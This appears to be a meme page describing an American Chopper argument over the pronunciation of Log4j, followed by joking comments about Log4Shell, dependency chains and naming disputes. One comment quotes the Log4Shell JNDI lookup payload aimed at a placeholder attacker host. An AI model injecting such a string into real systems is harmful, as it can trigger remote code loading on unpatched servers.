American Chopper argues over how to pronounce Log4j vulnerability

Description

Five-panel American Chopper meme: two tattoo-covered men in an office yell at each other, faces blurred. Panel 1 shows the older man pointing and shouting the caption “IT’S LOG FORGE.” Panel 2 zooms on the younger man replying “LOG FOR JAY.” Panel 3 returns to the older man still angry with the text “LOG FORGE.” Panel 4 shows the older man swinging a chair while the younger man yells back; text reads “IT STANDS FOR LOG FOR JAVA.” Panel 5 has the younger man gone and the older man gesturing triumphantly with the caption “IT FORGES LOGS.” Visually, the scene features cubicles, black chairs, and a monochrome office palette. Technically, the joke riffs on the infamous Log4j (Log4Shell) vulnerability, highlighting how non-technical stakeholders (or even some engineers) can mangle library names while missing the serious security implications and dependency chaos that kept incident war rooms busy in late 2021

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Log4jVulnerability Log4ShellVulnerability DependencyHell DeveloperHumor Logging

Comments

Anonymous ★ Top Pick Nothing like a zero-day that forces the whole company to learn that the ‘4’ is not a version number and ‘forge’ isn’t a build tool

Anonymous ★ Top Pick

Nothing like a zero-day that forces the whole company to learn that the ‘4’ is not a version number and ‘forge’ isn’t a build tool
Anonymous

After spending 15 years explaining that it's 'sequel' not 'S-Q-L', now we have to clarify that Log4j doesn't actually forge logs - though given the RCE vulnerability, it certainly helped forge a few unauthorized shell sessions
Anonymous

The internet was on fire from an RCE and the hottest thread was still about pronunciation - priorities forged, logs pending
Anonymous

The real tragedy isn't the naming confusion - it's that after 20 years and a CVE that nearly broke the internet, we're still arguing about what Log4j stands for instead of whether we should have just used structured logging from the start. But hey, at least it's not as contentious as tabs vs spaces... or is it?
Anonymous

Log4j's Log4Shell: '${jndi:ldap://attacker.com/evil}' - the payload that made every log.level('INFO') a potential RCE lottery
Anonymous

Call it logforge or log-for-jay - SBOM still flags CVE-2021-44228 five transitive levels deep, and the only thing it forges is your on-call incident timeline
Anonymous

Call it 'Log Forge' all you want - Maven will still pull Log4j in via seven transitive dependencies and at least one CVE
@cptnBoku 4y

It is whatever your manager say it is
@s2504s 4y

Json or Json
1. dev_meme 4y
  
  java
2. @azizhakberdiev 4y
  
  Idk whats difference, spelled as jayson twice
  
  dev_meme 4y
  
  jay ass oo en(like えん)
  
  @azizhakberdiev 4y
  
  I know this wrong spelling. Everybody spells it as jayson so it is jayson. Language belongs to everybody majority
  
  @feskow 4y
  
  Yay, so it's gif and not jif
@Magilarp 4y

Both make sense